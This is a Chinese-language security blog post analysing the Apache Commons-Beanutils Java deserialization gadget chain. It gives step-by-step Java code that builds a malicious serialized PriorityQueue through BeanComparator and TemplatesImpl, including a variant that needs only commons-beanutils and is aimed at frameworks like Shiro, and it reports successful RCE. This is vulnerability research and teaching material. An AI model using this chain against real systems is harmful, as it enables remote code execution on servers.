前言

本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-beanutils,我们看下官网的描述:

Most Java developers are used to creating Java classes that conform to the JavaBeans naming patterns for property getters and setters. It is natural to then access these methods directly, using calls to the corresponding getXxx and setXxx methods. However, there are some occasions where dynamic access to Java object properties (without compiled-in knowledge of the property getter and setter methods to be called) is needed. Example use cases include:

  • Building scripting languages that interact with the Java object model (such as the Bean Scripting Framework).

  • Building template language processors for web presentation and similar uses (such as JSP or Velocity).

  • Building custom tag libraries for JSP and XSP environments (such as Jakarta Taglibs, Struts, Cocoon).

  • Consuming XML-based configuration resources (such as Ant build scripts, web application deployment descriptors, Tomcat's server.xml file).

The Java language provides Reflection and Introspection APIs (see the java.lang.reflect and java.beans packages in the JDK Javadocs). However, these APIs can be quite complex to understand and utilize. The BeanUtils component provides easy-to-use wrappers around these capabilities.

简单来说就是提供了一组动态便捷操纵 JavaBean 的 api,替代使用 jdk 复杂的反射模式,常用在一些XML文件处理、模板引擎处理及三方框架处理上。

BeanComparator

其中里面的 org.apache.commons.beanutils.BeanComparator 实现了 Comparator 接口,可以用来比较两个Bean的属性等内容:

构造方法可传入两个变量,一个Bean的属性名,一个三方的 Comparator 实现类:

两个参数都可以不传,第二个参数不传入默认使用 org.apache.commons.collections.comparators.ComparableComparator , 注意这个类在 commons-collections 包下面,也就是说如果要用原生的YsoSerial 生成的payload去利用的话,要确保目标机器上要同时引入 commons-collections 和 commons-beanutils 两个包,不然就不能利用,那如果目标机器假如只引入了 commons-beanutils 是不是就没办法了? 也不然,看后面分析。

接下来看一下 ComparableComparator 对Compare的具体实现:

大概逻辑就是,如果初始化传入了property,就会去调用两个对象对应的 getter 方法,获取其属性值,然后再进行比较,返回最终的值,这里有主动调用getter方法,问题就发生在这里和 FastJson 的利用方法一样。

TemplatesImpl

其实前面在CC2、3、4 已经都讲过 TemplatesImpl 的利用方式,不过他们都是通过调用其 newTransformer() 方法进行触发,这里再拓展下,这个类还有一种触发方式,我们使用 IDEA 的 Findusage 功能找下调用位置:

我们发现除了 TrAXFilter 外,这个类本身的 getOutputProperties() 就会调用 newTransformer 方法:

这是一个getter方法,就可以和BeanComparetor的compare方法穿起来了。

挖掘利用链

思路一: commons-collections与 common-beanutils 共同存在的情况下:

结合之前分析,BeanComparetor的compare 会调用目标对象的getter方法,而 TemplatesImpl 存在 getOutputProperties() 方法进行恶意代码触发,所以我们只要反序列化的时候使用 BeanComparetor#compare() 比较两个恶意TemplatesImpl 对象就好。反序列化时候进行比较就是 CC2、CC4中使用到的PrioQueue就好:

所以,我们来实践下吧~

第一步 准备恶意 templates

TemplatesImpl templates = ExpUtils.getEvilTemplates();

第二步 使用 BeanComparator 作为传入 PriorityQueue 作为 comparator

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1); // 这里先添加正常元素,避免执行时触发恶意代码
priorityQueue.add(1);

第三步 添加元素后再替换回 templates ,避免添加时触发代码执行

Field queue =  ReflectUtils.getFields(priorityQueue,"queue");
Object[] queueObj = (Object[]) queue.get(priorityQueue);
queueObj[0] = templates;
queueObj[1] = templates;
// 替换为 TemplatesImpl 中的 property
ReflectUtils.setFields(beanComparator,"property","outputProperties");

第四步 反序列化触发

String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);

看下执行结果,成功执行~

思路二:目标机器只引用 common-beanutils

这个场景其实就真实发生在一个第三方框架Shiro上,Shiro 框架本身只引入了 common-beanutils ,如果直接使用 YsoSerial 的 CB链生成Payload是无法直接执行的,所以网上大部分的复现或者分析都是人工引入 Common-Collections, 每要求一个包的存在就对利用的难度加大了,有没有只依赖 common-beanutils 就能RCE的链呢?

我们看到Commons-beanutils.BeanComparator 的构造方法,其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator,所以我们只需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖,同时,因为这个漏洞是应用于反序列化场景,所以要求这个类还必须继承 Serializable 接口,有没有这个类呢,答案当然是有,P神已经找到了,就是 String.CASE_INSENSITIVE_ORDER

所以,我们只需要将Comparator改为 String.CASE_INSENSITIVE_ORDER 即可,实操:

第一步 准备恶意 templates

TemplatesImpl templates = ExpUtils.getEvilTemplates();

第二步 准备恶意priorityQueue

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

第三步 将 beanComparator 中的 comparator 改为非Commons-Collections 的 String.CASE_INSENSITIVE_ORDER

ReflectUtils.setFields(beanComparator,"comparator",String.CASE_INSENSITIVE_ORDER);

第四步 priorityQueue元素改为恶意templates

Field queue =  ReflectUtils.getFields(priorityQueue,"queue");
Object[] queueObj = (Object[]) queue.get(priorityQueue);
queueObj[0] = templates;
queueObj[1] = templates;

第五步 beanComparator 属性改为outputProperties

ReflectUtils.setFields(beanComparator,"property","outputProperties");

第六步 触发

String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);

最后,我们在pom文件里面把 commons-collections 改为compie,这样就确保只在编译期间存在这个包,运行实际没有。

看下执行结果,在只有commons-beauntils 依赖下成功运行!

总结

这篇文章分析了 Commons-Beanutils 反序列化利用的原理,并在 YsoSerail 基础上进行了增强,实现在只有 Commons-Beanutils 依然能够RCE。

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

Commons-Beanutils利用链分析的更多相关文章

  1. Commons Beanutils使用setProperty() - 就是爱Java

    有时不能只依靠getter/setter操作bean,如:需要名字动态取得的,或是访问bean内的field,甚至是集合或数组内bean的field,利用反射机制对bean的field进行处理,这时候 ...

  2. Apache Commons Beanutils 三 (BeanUtils、ConvertUtils、CollectionUtils...)

    前言 前面已经学习了Apache Commons Beanutils包里的PropertyUtils和动态bean,接下来将学习剩下的几个工具类,个人觉得还是非常实用的,特别是CollectionUt ...

  3. Apache Commons Beanutils 一 (使用PropertyUtils访问Bean属性)

    BeanUtils简要描述 beanutils,顾名思义,是java bean的一个工具类,可以帮助我们方便的读取(get)和设置(set)bean属性值.动态定义和访问bean属性: 细心的话,会发 ...

  4. Apache Commons BeanUtils

    http://commons.apache.org/proper/commons-beanutils/javadocs/v1.9.2/apidocs/org/apache/commons/beanut ...

  5. myeclipse的项目导入到eclipse下,com.sun.org.apache.commons.beanutils.BeanUtils不能导入

    com.sun.org.apache.commons.beanutils.BeanUtils这个包不能引入了怎么办自己下了个org.apache.commons的jar包了之后,改成import or ...

  6. 关闭log4j 输出 DEBUG org.apache.commons.beanutils.*

    2016-03-23 10:52:26,860 DEBUG org.apache.commons.beanutils.MethodUtils - Matching name=getEPort on c ...

  7. Apache Commons Beanutils对象属性批量复制(pseudo-singleton)

    Apache Commons Beanutils为开源软件,可在Apache官网http://commons.apache.org/proper/commons-beanutils/download_ ...

  8. org.apache.commons.beanutils.BeanMap简单使用例子

    一.org.apache.commons.beanutils.BeanMap; 将一个java bean允许通过map的api进行调用, 几个支持的操作接口: Object get(Object ke ...

  9. 对于Java Bean的类型转换问题()使用 org.apache.commons.beanutils.ConvertUtils)

    在进行与数据库的交互过程中,由数据库查询到的数据放在 map 中,由 map 到 JavaBean 的过程中可以使用 BeanUtils.populate(map,bean)来进行转换 这里要处理的问 ...

随机推荐

  1. 解放生产力,自动化生成vue组件文档

    一.现状 Vue框架在前端开发中应用广泛,当一个多人开发的Vue项目经过长期维护之后往往会沉淀出很多的公共组件,这个时候经常会出现一个人 开发了一个组件而其他维护者或新接手的人却不知道这个组件是做什么 ...

  2. 头条面试题:判断一个数是否是happy number(每一位的平方和最终为1)

    朋友面试头条二轮了,一轮的题目请看这一篇:头条面试题:求用户在线峰值和持续时间 这次的面试题目是:判断一个数是否是happy number(每一位的平方和最终为1) 知道题目首先要理解题目.所谓hap ...

  3. JavaScript实现的7种排序算法

    所谓排序算法,即通过特定的算法因式将一组或多组数据按照既定模式进行重新排序.这种新序列遵循着一定的规则,体现出一定的规律,因此,经处理后的数据便于筛选和计算,大大提高了计算效率.对于排序,我们首先要求 ...

  4. 富文本编辑器之游戏角色升级ing

    一.前言 想必大家看到这个标题,心中不禁会浮现几个问题: 什么是富文本编辑器? 富文本编辑器和游戏角色有什么关系? 为什么是升级ing? 什么是富文本编辑器--富文本编辑器集成了格式设置.媒体嵌入.社 ...

  5. Linux系统下安装MongoDB

    下载安装包 去MongoDB官网https://www.mongodb.com/try/download/community,下载社区版的安装包: 我的Linux系统是CentOS 7.5版本的,通常 ...

  6. 最大子序和:暴力->递归->动规->线段树

    题目描述 给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和. LeetCode:53. 最大子序和 题解 显而易见的暴力解法 最容易想到的便是暴力穷 ...

  7. RabbitMQ入门教程 [转]

    1.引言 RabbitMQ--Rabbit Message Queue的简写,但不能仅仅理解其为消息队列,消息代理更合适.消息队列主要解决应用耦合,异步消息,流量削锋等问题.实现高性能,高可用,可伸缩 ...

  8. 分享一份550多个Linux命令的文档,按照命令首字母索引排序

    输入一个命令,让我给你一个关于它的完美解释! 众所周知,Linux命令是IT人必须掌握的一个技能,有了它,我们可以部署和维护各种各样的服务和应用.但是,大部分的Linux命令我们不一定记得住,而别是各 ...

  9. js--ES6新特性之解构

    前言 es6 中引入了解构这一新特性,了解解构成为一个格合前端必须掌握的基础知识,不仅作为了面试的重要考查知识,同时能极大提高我们平常工作的开发效率.本文来总结一下需要掌握的解构知识点. 正文 1.什 ...

  10. C语言:编译具体过程及隐藏

    对于平常应用程序的开发,很少有人会关注编译和链接的过程,因为我们使用的工具一般都是流行的集成开发环境(IDE),比如 Visual Studio.Dev C++.C-Free 等.这些功能强大的 ID ...